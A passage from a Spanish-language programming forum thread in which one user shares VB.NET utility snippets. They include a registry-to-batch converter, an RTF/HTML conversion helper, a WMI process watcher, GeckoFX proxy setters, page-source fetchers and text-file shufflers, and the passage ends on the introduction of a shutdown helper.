  170.        ''' </summary>
  171.        BINARY = 1
  172.  
  173.        ''' <summary>
  174.        ''' A 32-bit number.
  175.        ''' </summary>
  176.        DWORD = 2
  177.  
  178.        ''' <summary>
  179.        ''' A 64-bit number.
  180.        ''' </summary>
  181.        QWORD = 3
  182.  
  183.        ''' <summary>
  184.        ''' A null-terminated string that contains unexpanded references to environment variables
  185.        ''' (for example, "%WinDir%").
  186.        ''' </summary>
  187.        EXPAND_SZ = 4
  188.  
  189.        ''' <summary>
  190.        ''' A sequence of null-terminated strings, terminated by an empty string (\0).
  191.        '''
  192.        ''' The following is an example:
  193.        ''' String1\0String2\0String3\0LastString\0\0
  194.        ''' The first \0 terminates the first string,
  195.        ''' the second to the last \0 terminates the last string,
  196.        ''' and the final \0 terminates the sequence.
  197.        ''' Note that the final terminator must be factored into the length of the string.
  198.        ''' </summary>
  199.        MULTI_SZ = 5
  200.  
  201.    End Enum
  202.  
  203. #End Region
  204.  
  205. #Region " Public Methods "
  206.  
  207.    ''' <summary>
  208.    ''' Converts a Registry Script to a Batch Script.
  209.    ''' </summary>
  210.    ''' <param name="RegistryFile">Indicates the registry file to convert.</param>
  211.    ''' <returns>System.String.</returns>
  212.    Public Shared Function Convert(ByVal RegistryFile As String) As String
  213.  
  214.        ' Split the Registry content.
  215.        Dim RegistryContent As String() =
  216.            String.Join("@@@Reg2Bat@@@", File.ReadAllLines(RegistryFile)).
  217.                   Replace("\@@@Reg2Bat@@@  ", Nothing).
  218.                   Replace("@@@Reg2Bat@@@", Environment.NewLine).
  219.                   Split(Environment.NewLine)
  220.  
  221.        ' Where the registry line to convert will be stored.
  222.        Dim RegLine As String = String.Empty
  223.  
  224.        ' Where the registry key to convert will be stored.
  225.        Dim RegKey As String = String.Empty
  226.  
  227.        ' Where the registry value to convert will be stored.
  228.        Dim RegVal As String = String.Empty
  229.  
  230.        ' Where the registry data to convert will be stored.
  231.        Dim RegData As String = String.Empty
  232.  
  233.        ' Where the decoded registry strings will be stored.
  234.        Dim BatchCommands As New StringBuilder
  235.  
  236.        ' Writes the specified Batch-Script Header.
  237.        BatchCommands.AppendLine(BatchHeader)
  238.  
  239.        ' Start reading the Registry File.
  240.        For X As Long = 0 To RegistryContent.LongLength - 1
  241.  
  242.            RegLine = RegistryContent(X).Trim
  243.  
  244.            Select Case True
  245.  
  246.                Case RegLine.StartsWith(";"), RegLine.StartsWith("#")  ' It's a comment line.
  247.  
  248.                    BatchCommands.AppendLine(
  249.                        String.Format(BatchStringFormat_Comment, RegLine.Substring(1, RegLine.Length - 1).Trim))
  250.  
  251.                Case RegLine.StartsWith("[-") ' It's a key to delete.
  252.  
  253.                    RegKey = RegLine.Substring(2, RegLine.Length - 3).Trim
  254.                    BatchCommands.AppendLine(String.Format(BatchStringFormat_KeyDelete, RegKey))
  255.  
  256.                Case RegLine.StartsWith("[") ' It's a key to add.
  257.  
  258.                    RegKey = RegLine.Substring(1, RegLine.Length - 2).Trim
  259.                    BatchCommands.AppendLine(String.Format(BatchStringFormat_KeyAdd, RegKey))
  260.  
  261.                Case RegLine.StartsWith("@=") ' It's a default value to add.
  262.  
  263.                    RegData = RegLine.Split("@=").Last
  264.                    BatchCommands.AppendLine(String.Format(BatchStringFormat_DefaultValueAdd, RegKey, RegData))
  265.  
  266.                Case RegLine.StartsWith("""") _
  267.                AndAlso RegLine.Split("=").Last = "-" ' It's a value to delete.
  268.  
  269.                    RegVal = RegLine.Substring(1, RegLine.Length - 4)
  270.                    BatchCommands.AppendLine(String.Format(BatchStringFormat_ValueDelete, RegKey, RegVal))
  271.  
  272.                Case RegLine.StartsWith("""") ' It's a value to add.
  273.  
  274.                    Select Case RegLine.Split("=")(1).Split(":").First.ToUpper
  275.  
  276.                        Case "HEX" ' It's a Binary value.
  277.                            RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.BINARY))
  278.                            RegData = GetRegistryData(RegLine, RegistryValueType.BINARY)
  279.                            BatchCommands.AppendLine(
  280.                                String.Format(BatchStringFormat_ValueAdd_BINARY, RegKey, RegVal, RegData))
  281.  
  282.                        Case "DWORD" ' It's a DWORD value.
  283.                            RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.DWORD))
  284.                            RegData = GetRegistryData(RegLine, RegistryValueType.DWORD)
  285.                            BatchCommands.AppendLine(
  286.                                String.Format(BatchStringFormat_ValueAdd_DWORD, RegKey, RegVal, RegData))
  287.  
  288.                        Case "HEX(B)" ' It's a QWORD value.
  289.                            RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.QWORD))
  290.                            RegData = GetRegistryData(RegLine, RegistryValueType.QWORD)
  291.                            BatchCommands.AppendLine(
  292.                                String.Format(BatchStringFormat_ValueAdd_QWORD, RegKey, RegVal, RegData))
  293.  
  294.                        Case "HEX(2)"  ' It's a EXPAND_SZ value.
  295.                            RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.EXPAND_SZ))
  296.                            RegData = FormatRegistryString(GetRegistryData(RegLine, RegistryValueType.EXPAND_SZ))
  297.                            BatchCommands.AppendLine(
  298.                                String.Format(BatchStringFormat_ValueAdd_EXPANDSZ, RegKey, RegVal, RegData))
  299.  
  300.                        Case "HEX(7)" ' It's a MULTI_SZ value.
  301.                            RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.MULTI_SZ))
  302.                            RegData = FormatRegistryString(GetRegistryData(RegLine, RegistryValueType.MULTI_SZ))
  303.                            BatchCommands.AppendLine(
  304.                                String.Format(BatchStringFormat_ValueAdd_MULTISZ, RegKey, RegVal, RegData))
  305.  
  306.                        Case Else ' It's a REG_SZ value.
  307.                            RegVal = FormatRegistryString(GetRegistryValue(RegLine, RegistryValueType.REG_SZ))
  308.                            RegData = FormatRegistryString(GetRegistryData(RegLine, RegistryValueType.REG_SZ))
  309.                            BatchCommands.AppendLine(
  310.                                String.Format(BatchStringFormat_ValueAdd_REGSZ, RegKey, RegVal, RegData))
  311.  
  312.                    End Select ' RegLine.Split("=")(1).Split(":").First.ToUpper
  313.  
  314.            End Select ' RegLine.StartsWith("""")
  315.  
  316.        Next X ' RegLine
  317.  
  318.        ' Writes the specified Batch-Script Footer.
  319.        BatchCommands.AppendLine(BatchFooter)
  320.  
  321.        Return BatchCommands.ToString
  322.  
  323.    End Function
  324.  
  325. #End Region
  326.  
  327. #Region " Private Methods "
  328.  
  329.    ''' <summary>
  330.    ''' Gets the registry value of a registry line.
  331.    ''' </summary>
  332.    ''' <param name="RegistryLine">Indicates the registry line.</param>
  333.    ''' <param name="RegistryValueType">Indicates the type of the registry value.</param>
  334.    ''' <returns>System.String.</returns>
  335.    Private Shared Function GetRegistryValue(ByVal RegistryLine As String,
  336.                                             ByVal RegistryValueType As RegistryValueType) As String
  337.  
  338.        Dim Value As String = String.Empty
  339.  
  340.        Select Case RegistryValueType
  341.  
  342.            Case RegistryValueType.BINARY
  343.                Value = Regex.Split(RegistryLine,
  344.                                    RegistryValueSplitter_BINARY,
  345.                                    RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
  346.  
  347.            Case RegistryValueType.DWORD
  348.                Value = Regex.Split(RegistryLine,
  349.                                    RegistryValueSplitter_DWORD,
  350.                                    RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
  351.  
  352.            Case RegistryValueType.QWORD
  353.                Value = Regex.Split(RegistryLine,
  354.                                    RegistryValueSplitter_QWORD,
  355.                                    RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
  356.  
  357.            Case RegistryValueType.EXPAND_SZ
  358.                Value = Regex.Split(RegistryLine,
  359.                                    RegistryValueSplitter_EXPANDSZ,
  360.                                    RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
  361.  
  362.            Case RegistryValueType.MULTI_SZ
  363.                Value = Regex.Split(RegistryLine,
  364.                                    RegistryValueSplitter_MULTISZ,
  365.                                    RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
  366.  
  367.            Case RegistryValueType.REG_SZ
  368.                Value = Regex.Split(RegistryLine,
  369.                                    RegistryValueSplitter_REGSZ,
  370.                                    RegexOptions.IgnoreCase Or RegexOptions.Singleline).First()
  371.  
  372.        End Select
  373.  
  374.        If Value.StartsWith("""") Then
  375.            Value = Value.Substring(1, Value.Length - 1)
  376.        End If
  377.  
  378.        If Value.EndsWith("""") Then
  379.            Value = Value.Substring(0, Value.Length - 1)
  380.        End If
  381.  
  382.        Return Value
  383.  
  384.    End Function
  385.  
  386.    ''' <summary>
  387.    ''' Gets the registry data of a registry line.
  388.    ''' </summary>
  389.    ''' <param name="RegistryLine">Indicates the registry line.</param>
  390.    ''' <param name="RegistryValueType">Indicates the type of the registry value.</param>
  391.    ''' <returns>System.String.</returns>
  392.    Private Shared Function GetRegistryData(ByVal RegistryLine As String,
  393.                                            ByVal RegistryValueType As RegistryValueType) As String
  394.  
  395.        Dim Data As String = String.Empty
  396.  
  397.        Select Case RegistryValueType
  398.  
  399.            Case RegistryValueType.BINARY
  400.  
  401.                Data = Regex.Split(RegistryLine,
  402.                                   Regex.Split(RegistryLine,
  403.                                               RegistryValueSplitter_BINARY, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
  404.                                               RegistryValueSplitter_BINARY,
  405.                                   RegexOptions.IgnoreCase Or RegexOptions.Singleline).
  406.                                   Last.
  407.                                   Replace(",", Nothing)
  408.  
  409.            Case RegistryValueType.DWORD
  410.  
  411.                Data = Regex.Split(RegistryLine,
  412.                                   Regex.Split(RegistryLine,
  413.                                               RegistryValueSplitter_DWORD, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
  414.                                               RegistryValueSplitter_DWORD,
  415.                                   RegexOptions.IgnoreCase Or RegexOptions.Singleline).
  416.                                   Last.
  417.                                   Replace(",", Nothing)
  418.  
  419.                Data = "0x" & Data
  420.  
  421.            Case RegistryValueType.QWORD
  422.  
  423.                RegistryLine =
  424.                    String.Join(Nothing,
  425.                                Regex.Split(RegistryLine,
  426.                                            Regex.Split(RegistryLine,
  427.                                                        RegistryValueSplitter_QWORD, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
  428.                                                        RegistryValueSplitter_QWORD,
  429.                                            RegexOptions.IgnoreCase Or RegexOptions.Singleline).
  430.                                            Last.
  431.                                            Reverse)
  432.  
  433.                For Each [Byte] As String In RegistryLine.Split(",")
  434.                    Data &= String.Join(Nothing, [Byte].Reverse)
  435.                Next [Byte]
  436.  
  437.                Data = "0x" & Data
  438.  
  439.            Case RegistryValueType.EXPAND_SZ
  440.  
  441.                RegistryLine = Regex.Split(RegistryLine,
  442.                                            Regex.Split(RegistryLine,
  443.                                                        RegistryValueSplitter_EXPANDSZ, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
  444.                                                        RegistryValueSplitter_EXPANDSZ,
  445.                                            RegexOptions.IgnoreCase Or RegexOptions.Singleline).
  446.                                            Last.
  447.                                            Replace(",00", "").
  448.                                            Replace("00,", "")
  449.  
  450.                For Each [Byte] As String In RegistryLine.Split(",")
  451.                    Data &= Chr(Val("&H" & [Byte]))
  452.                Next [Byte]
  453.  
  454.                Data = Data.Replace("""", "\""")
  455.  
  456.            Case RegistryValueType.MULTI_SZ
  457.  
  458.                RegistryLine = Regex.Split(RegistryLine,
  459.                                            Regex.Split(RegistryLine,
  460.                                                        RegistryValueSplitter_MULTISZ, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
  461.                                                        RegistryValueSplitter_MULTISZ,
  462.                                            RegexOptions.IgnoreCase Or RegexOptions.Singleline).
  463.                                            Last.
  464.                                            Replace(",00,00,00", ",\0").
  465.                                            Replace(",00", "").
  466.                                            Replace("00,", "")
  467.  
  468.                For Each [Byte] In RegistryLine.Split(",")
  469.  
  470.                    If [Byte] = "\0" Then
  471.                        Data &= "\0" ' Multiline separator.
  472.                    Else
  473.                        Data &= Chr(Val("&H" & [Byte]))
  474.                    End If
  475.  
  476.                Next
  477.  
  478.                Return Data.Replace("""", "\""")
  479.  
  480.            Case RegistryValueType.REG_SZ
  481.  
  482.                Data = Regex.Split(RegistryLine,
  483.                                   Regex.Split(RegistryLine,
  484.                                               RegistryValueSplitter_REGSZ, RegexOptions.IgnoreCase Or RegexOptions.Singleline).First &
  485.                                               RegistryValueSplitter_REGSZ,
  486.                                   RegexOptions.IgnoreCase Or RegexOptions.Singleline).
  487.                                   Last
  488.  
  489.                Data = Data.Substring(0, Data.Length - 1).Replace("\\", "\")
  490.  
  491.        End Select
  492.  
  493.        Return Data
  494.  
  495.    End Function
  496.  
  497.    ''' <summary>
  498.    ''' Properly formats a registry string to insert it in a Batch command string.
  499.    ''' </summary>
  500.    ''' <param name="RegistryString">Indicates the Reg Batch command string.</param>
  501.    ''' <returns>System.String.</returns>
  502.    Private Shared Function FormatRegistryString(ByVal RegistryString As String) As String
  503.  
  504.        RegistryString = RegistryString.Replace("%", "%%")
  505.        If Not RegistryString.Contains("""") Then
  506.            Return RegistryString
  507.        End If
  508.  
  509.        RegistryString = RegistryString.Replace("\""", """")
  510.  
  511.        Dim strArray() As String = RegistryString.Split("""")
  512.  
  513.        For X As Long = 1 To strArray.Length - 1 Step 2
  514.  
  515.            strArray(X) = strArray(X).Replace("^", "^^") ' This replacement need to be THE FIRST.
  516.            strArray(X) = strArray(X).Replace("<", "^<")
  517.            strArray(X) = strArray(X).Replace(">", "^>")
  518.            strArray(X) = strArray(X).Replace("|", "^|")
  519.            strArray(X) = strArray(X).Replace("&", "^&")
  520.            ' strArray(X) = strArray(X).Replace("\", "\\")
  521.  
  522.        Next X
  523.  
  524.        Return String.Join("\""", strArray)
  525.  
  526.    End Function
  527.  
  528. #End Region
  529.  
  530. #Region " Hidden methods "
  531.  
  532.    ' These methods are purposely hidden from Intellisense just to look better without unneeded methods.
  533.    ' NOTE: The methods can be re-enabled at any-time if needed.
  534.  
  535.    <EditorBrowsable(EditorBrowsableState.Never)>
  536.    Public Shadows Sub Equals()
  537.    End Sub
  538.  
  539.    <EditorBrowsable(EditorBrowsableState.Never)>
  540.    Public Shadows Sub ReferenceEquals()
  541.    End Sub
  542.  
  543. #End Region
  544.  
  545. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 5 Febrero 2014, 16:59 pm
Una Helper Class para la librería de pago Nasosoft transform (http://www.nasosoft.com/naso/Products/FileFormatComponents/NETRTF2HTMLControl/tabid/163/Default.aspx), para convertir text RTF a HTML y viceversa.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 02-05-2014
  4. ' ***********************************************************************
  5. ' <copyright file="DocumentConverter.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Example Usages "
  11.  
  12. 'MsgBox(DocumentConverter.Html2Rtf("Hello World!"))
  13. 'MsgBox(DocumentConverter.Rtf2Html("{\rtf1\ansi\fbidis\ansicpg1252\deff0{\fonttbl{\f0\fswiss\fcharset0 Times New Roman;}{\f1\fswiss\fcharset2 Symbol;}}{\colortbl;\red192\green192\blue192;}\viewkind5\viewscale100{\*\bkmkstart BM_BEGIN}\pard\plain\f0{Hello World!}}"))
  14.  
  15. 'Dim HtmlText As String = DocumentConverter.Rtf2Html(IO.File.ReadAllText("C:\File.rtf"), TextEncoding:=Nothing)
  16. 'Dim RtfText As String = DocumentConverter.Html2Rtf(IO.File.ReadAllText("C:\File.html"), TextEncoding:=Nothing)
  17. 'Dim PlainTextFromRtf As String = DocumentConverter.Rtf2Txt(IO.File.ReadAllText("C:\File.rtf"), TextEncoding:=Nothing)
  18. 'Dim PlainTextFromHtml As String = DocumentConverter.Html2Txt(IO.File.ReadAllText("C:\File.html"), TextEncoding:=Nothing)
  19.  
  20. #End Region
  21.  
  22. #Region " Imports "
  23.  
  24. Imports Nasosoft.Documents.Transform
  25. Imports System.IO
  26. Imports System.Text
  27.  
  28. #End Region
  29.  
  30. ''' <summary>
  31. ''' Performs document conversion operations.
  32. ''' </summary>
  33. Public Class DocumentConverter
  34.  
  35. #Region " Public Methods "
  36.  
  37.    ''' <summary>
  38.    ''' Converts RTF text to HTML.
  39.    ''' </summary>
  40.    ''' <param name="RtfText">Indicates the RTF text.</param>
  41.    ''' <param name="TextEncoding">Indicates the text encoding.</param>
  42.    ''' <returns>System.String.</returns>
  43.    Public Shared Function Rtf2Html(ByVal RtfText As String,
  44.                                    Optional ByVal TextEncoding As Encoding = Nothing) As String
  45.  
  46.        TextEncoding = If(TextEncoding Is Nothing, Encoding.Default, TextEncoding)
  47.  
  48.        Dim RtfStream As New MemoryStream(TextEncoding.GetBytes(RtfText))
  49.        Dim HtmlStream As New MemoryStream
  50.        Dim HtmlText As String = String.Empty
  51.  
  52.        Using Converter As New RtfToHtmlTransform()
  53.            Converter.Load(RtfStream)
  54.            Converter.Transform(HtmlStream)
  55.        End Using
  56.  
  57.        HtmlStream.Position = 0
  58.  
  59.        Using StrReader As New StreamReader(HtmlStream)
  60.            HtmlText = StrReader.ReadToEnd
  61.        End Using
  62.  
  63.        RtfStream.Close()
  64.        HtmlStream.Close()
  65.  
  66.        Return HtmlText
  67.  
  68.    End Function
  69.  
  70.    ''' <summary>
  71.    ''' Converts RTF text to TXT (Plain text).
  72.    ''' </summary>
  73.    ''' <param name="RtfText">Indicates the RTF text.</param>
  74.    ''' <param name="TextEncoding">Indicates the text encoding.</param>
  75.    ''' <returns>System.String.</returns>
  76.    Public Shared Function Rtf2Txt(ByVal RtfText As String,
  77.                                    Optional ByVal TextEncoding As Encoding = Nothing) As String
  78.  
  79.        TextEncoding = If(TextEncoding Is Nothing, Encoding.Default, TextEncoding)
  80.  
  81.        Dim RtfStream As New MemoryStream(TextEncoding.GetBytes(RtfText))
  82.        Dim TextStream As New MemoryStream
  83.        Dim PlainText As String = String.Empty
  84.  
  85.        Using Converter As New RtfToTextTransform()
  86.            Converter.Load(RtfStream)
  87.            Converter.Transform(TextStream)
  88.        End Using
  89.  
  90.        TextStream.Position = 0
  91.  
  92.        Using StrReader As New StreamReader(TextStream)
  93.            PlainText = StrReader.ReadToEnd
  94.        End Using
  95.  
  96.        RtfStream.Close()
  97.        TextStream.Close()
  98.  
  99.        Return PlainText
  100.  
  101.    End Function
  102.  
  103.    ''' <summary>
  104.    ''' Converts HTML text to RTF.
  105.    ''' </summary>
  106.    ''' <param name="HtmlText">Indicates the HTML text.</param>
  107.    ''' <param name="TextEncoding">Indicates the text encoding.</param>
  108.    ''' <returns>System.String.</returns>
  109.    Public Shared Function Html2Rtf(ByVal HtmlText As String,
  110.                                    Optional ByVal TextEncoding As Encoding = Nothing) As String
  111.  
  112.        TextEncoding = If(TextEncoding Is Nothing, Encoding.Default, TextEncoding)
  113.  
  114.        Dim HtmlStream As New MemoryStream(TextEncoding.GetBytes(HtmlText))
  115.        Dim RtfStream As New MemoryStream
  116.        Dim RtfText As String = String.Empty
  117.  
  118.        Using Converter As New HtmlToRtfTransform()
  119.            Converter.Load(HtmlStream)
  120.            Converter.Transform(RtfStream)
  121.        End Using
  122.  
  123.        RtfStream.Position = 0
  124.  
  125.        Using StrReader As New StreamReader(RtfStream)
  126.            RtfText = StrReader.ReadToEnd
  127.        End Using
  128.  
  129.        HtmlStream.Close()
  130.        RtfStream.Close()
  131.  
  132.        Return RtfText
  133.  
  134.    End Function
  135.  
  136.    ''' <summary>
  137.    ''' Converts HTML text to TXT (Plain text).
  138.    ''' </summary>
  139.    ''' <param name="HtmlText">Indicates the HTML text.</param>
  140.    ''' <param name="TextEncoding">Indicates the text encoding.</param>
  141.    ''' <returns>System.String.</returns>
  142.    Public Shared Function Html2Txt(ByVal HtmlText As String,
  143.                                    Optional ByVal TextEncoding As Encoding = Nothing) As String
  144.  
  145.        TextEncoding = If(TextEncoding Is Nothing, Encoding.Default, TextEncoding)
  146.  
  147.        Dim HtmlStream As New MemoryStream(TextEncoding.GetBytes(HtmlText))
  148.        Dim TextStream As New MemoryStream
  149.        Dim PlainText As String = String.Empty
  150.  
  151.        Using Converter As New HtmlToTextTransform()
  152.            Converter.Load(HtmlStream)
  153.            Converter.Transform(TextStream)
  154.        End Using
  155.  
  156.        TextStream.Position = 0
  157.  
  158.        Using StrReader As New StreamReader(TextStream)
  159.            PlainText = StrReader.ReadToEnd
  160.        End Using
  161.  
  162.        HtmlStream.Close()
  163.        TextStream.Close()
  164.  
  165.        Return PlainText
  166.  
  167.    End Function
  168.  
  169. #End Region
  170.  
  171. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 8 Febrero 2014, 11:50 am
Ejemplo para monitorear la ejecución de los procesos del sistema:

Código
  1. Public Class Form1
  2.  
  3.    Private WithEvents ProcessStartWatcher As ManagementEventWatcher =
  4.        New ManagementEventWatcher(
  5.            New WqlEventQuery("SELECT * FROM Win32_ProcessStartTrace"))
  6.  
  7.    Private WithEvents ProcessStopWatcher As ManagementEventWatcher =
  8.        New System.Management.ManagementEventWatcher(
  9.            New WqlEventQuery("SELECT * FROM Win32_ProcessStopTrace"))
  10.  
  11.    Private Shadows Sub Load() Handles MyBase.Load
  12.        ProcessStartWatcher.Start()
  13.        ProcessStopWatcher.Start()
  14.    End Sub
  15.  
  16.    Private Shadows Sub Closing() Handles MyBase.Closing
  17.        ProcessStartWatcher.Stop()
  18.        ProcessStopWatcher.Stop()
  19.    End Sub
  20.  
  21.    Public Sub ProcessStartWatcher_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs) _
  22.    Handles ProcessStartWatcher.EventArrived
  23.  
  24.        MsgBox(String.Format("Process started: {0}",
  25.                             e.NewEvent.Properties("ProcessName").Value))
  26.  
  27.    End Sub
  28.  
  29.    Private Sub ProcessStopWatcher_Stopped(ByVal sender As Object, ByVal e As EventArrivedEventArgs) _
  30.    Handles ProcessStopWatcher.EventArrived
  31.  
  32.        MsgBox(String.Format("Process stopped: {0}",
  33.                             e.NewEvent.Properties("ProcessName").Value))
  34.  
  35.    End Sub
  36.  
  37. End Class



Modificar el proxy de un GeckoFX Webbrowser:

Código
  1.  
  2.  
  3. ' By Elektro
  4.  
  5.  
  6.    ''' <summary>
  7.    ''' ProxyTypes of Gecko webbrowser.
  8.    ''' </summary>
  9.    Public Enum ProxyType
  10.  
  11.        ''' <summary>
  12.        ''' Direct connection, no proxy.
  13.        ''' (Default in Windows and Mac previous to 1.9.2.4 /Firefox 3.6.4)
  14.        ''' </summary>
  15.        DirectConnection = 0
  16.  
  17.        ''' <summary>
  18.        ''' Manual proxy configuration.
  19.        ''' </summary>
  20.        Manual = 1
  21.  
  22.        ''' <summary>
  23.        ''' Proxy auto-configuration (PAC).
  24.        ''' </summary>
  25.        AutoConfiguration = 2
  26.  
  27.        ''' <summary>
  28.        ''' Auto-detect proxy settings.
  29.        ''' </summary>
  30.        AutoDetect = 4
  31.  
  32.        ''' <summary>
  33.        ''' Use system proxy settings.
  34.        ''' (Default in Linux; default for all platforms, starting in 1.9.2.4 /Firefox 3.6.4)
  35.        ''' </summary>
  36.        System = 5
  37.  
  38.    End Enum
  39.  
  40.    ''' <summary>
  41.    ''' Sets the proxy type of a Gecko Webbrowser.
  42.    ''' </summary>
  43.    ''' <param name="ProxyType">Indicates the type of proxy.</param>
  44.    Private Sub SetGeckoProxyType(ByVal ProxyType As ProxyType)
  45.  
  46.        GeckoPreferences.Default("network.proxy.type") = ProxyType
  47.  
  48.    End Sub
  49.  
  50.    ''' <summary>
  51.    ''' Sets the proxy of a Gecko Webbrowser.
  52.    ''' </summary>
  53.    ''' <param name="Host">Indicates the proxy host.</param>
  54.    ''' <param name="Port">Indicates the proxy port.</param>
  55.    Private Sub SetGeckoProxy(ByVal Host As String,
  56.                              ByVal Port As Integer)
  57.  
  58.        ' Set the ProxyType to manual configuration.
  59.        GeckoPreferences.Default("network.proxy.type") = ProxyType.Manual
  60.  
  61.        ' Set the HTP proxy Host and Port.
  62.        GeckoPreferences.Default("network.proxy.http") = Host
  63.        GeckoPreferences.Default("network.proxy.http_port") = Port
  64.  
  65.        ' Set the SSL proxy Host and Port.
  66.        GeckoPreferences.Default("network.proxy.ssl") = Host
  67.        GeckoPreferences.Default("network.proxy.ssl_port") = Port
  68.  
  69.    End Sub



Devuelve un String con el source de una página

Código
  1.    ' Get SourcePage String
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetSourcePageString("http://www.elhacker.net"))
  6.    '
  7.    ''' <summary>
  8.    ''' Gets a web source page.
  9.    ''' </summary>
  10.    ''' <param name="URL">Indicates the source page URL to get.</param>
  11.    ''' <returns>System.String.</returns>
  12.    ''' <exception cref="Exception"></exception>
  13.    Private Function GetSourcePageString(ByVal URL As String) As String
  14.  
  15.        Try
  16.  
  17.            Using StrReader As New IO.StreamReader(Net.HttpWebRequest.Create(URL).GetResponse().GetResponseStream)
  18.                Return StrReader.ReadToEnd
  19.            End Using
  20.  
  21.        Catch ex As Exception
  22.            Throw New Exception(ex.Message)
  23.            Return Nothing
  24.  
  25.        End Try
  26.  
  27.    End Function



Devuelve un Array con el source de una página:

Código
  1.    ' Get SourcePage Array
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' Dim SourceLines As String() = GetSourcePageArray("http://www.ElHacker.net", TrimLines:=True)
  6.    ' For Each Line As String In SourceLines : MsgBox(Line) : Next Line
  7.    '
  8.    ''' <summary>
  9.    ''' Gets a web source page.
  10.    ''' </summary>
  11.    ''' <param name="URL">Indicates the source page URL to get.</param>
  12.    ''' <param name="TrimLines">Indicates whether to trim the lines.</param>
  13.    ''' <param name="SplitOptions">Indicates the split options.</param>
  14.    ''' <returns>System.String[][].</returns>
  15.    ''' <exception cref="Exception"></exception>
  16.    Private Function GetSourcePageArray(ByVal URL As String,
  17.                                        Optional ByVal TrimLines As Boolean = False,
  18.                                        Optional ByVal SplitOptions As StringSplitOptions =
  19.                                                       StringSplitOptions.None) As String()
  20.  
  21.        Try
  22.  
  23.            Using StrReader As New IO.StreamReader(Net.HttpWebRequest.Create(URL).GetResponse().GetResponseStream)
  24.  
  25.                If TrimLines Then
  26.  
  27.                    Return (From Line As String
  28.                           In StrReader.ReadToEnd.Split({Environment.NewLine}, SplitOptions)
  29.                           Select Line.Trim).ToArray
  30.  
  31.                Else
  32.                    Return StrReader.ReadToEnd.Split({Environment.NewLine}, SplitOptions)
  33.  
  34.                End If
  35.  
  36.            End Using
  37.  
  38.        Catch ex As Exception
  39.            Throw New Exception(ex.Message)
  40.            Return Nothing
  41.  
  42.        End Try
  43.  
  44.    End Function



Devuelve el directorio de un proceso en ejecución

Código
  1.    ' Get Process Path
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetProcessPath("notepad.exe").First)
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the absolute path of a running process.
  9.    ''' </summary>
  10.    ''' <param name="ProcessName">Indicates the name of the process.</param>
  11.    ''' <returns>System.String[][].</returns>
  12.    ''' <exception cref="Exception">ProcessName parametter can't be Null.</exception>
  13.    Public Function GetProcessPath(ByVal ProcessName As String) As String()
  14.  
  15.        If ProcessName.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) Then
  16.            ProcessName = ProcessName.Remove(ProcessName.Length - 4)
  17.        End If
  18.  
  19.        Return (From p As Process In Process.GetProcesses
  20.                Where p.ProcessName.Equals(ProcessName, StringComparison.OrdinalIgnoreCase)
  21.                Select p.MainModule.FileName).ToArray
  22.  
  23.    End Function



Desordena un archivo de texto y devuelve un String

Código
  1.    ' Randomize TextFile String
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(RandomizeTextFileString("C:\File.txt", Encoding:=Nothing)))
  6.    '
  7.    ''' <summary>
  8.    ''' Randomizes the contents of a text file.
  9.    ''' </summary>
  10.    ''' <param name="TextFile">Indicates the text file to randomize.</param>
  11.    ''' <param name="Encoding">Indicates the text encoding to use.</param>
  12.    ''' <returns>System.String.</returns>
  13.    Public Function RandomizeTextFileString(ByVal TextFile As String,
  14.                                            Optional ByVal Encoding As System.Text.Encoding = Nothing) As String
  15.  
  16.        Dim Randomizer As New Random
  17.  
  18.        Return String.Join(Environment.NewLine,
  19.                           (From Item As String
  20.                            In IO.File.ReadAllLines(TextFile,
  21.                                                    If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding))
  22.                            Order By Randomizer.Next))
  23.  
  24.    End Function



Desordena un archivo d etexto y devuelve un Array:

Código
  1.    ' Randomize TextFile Array
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(RandomizeTextFileArray("C:\File.txt", Encoding:=Nothing).First))
  6.    '
  7.    ''' <summary>
  8.    ''' Randomizes the contents of a text file.
  9.    ''' </summary>
  10.    ''' <param name="TextFile">Indicates the text file to randomize.</param>
  11.    ''' <param name="Encoding">Indicates the text encoding to use.</param>
  12.    ''' <returns>System.String[].</returns>
  13.    Public Function RandomizeTextFileArray(ByVal TextFile As String,
  14.                                           Optional ByVal Encoding As System.Text.Encoding = Nothing) As String()
  15.  
  16.        Dim Randomizer As New Random
  17.  
  18.        Return (From Item As String
  19.                In IO.File.ReadAllLines(TextFile,
  20.                                        If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding))
  21.                Order By Randomizer.Next).ToArray
  22.  
  23.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 15 Febrero 2014, 02:38 am
He ideado este ayudante para desloguear el usuario actual, apagar o reiniciar el sistema en un pc local o remoto, o abortar una operación,
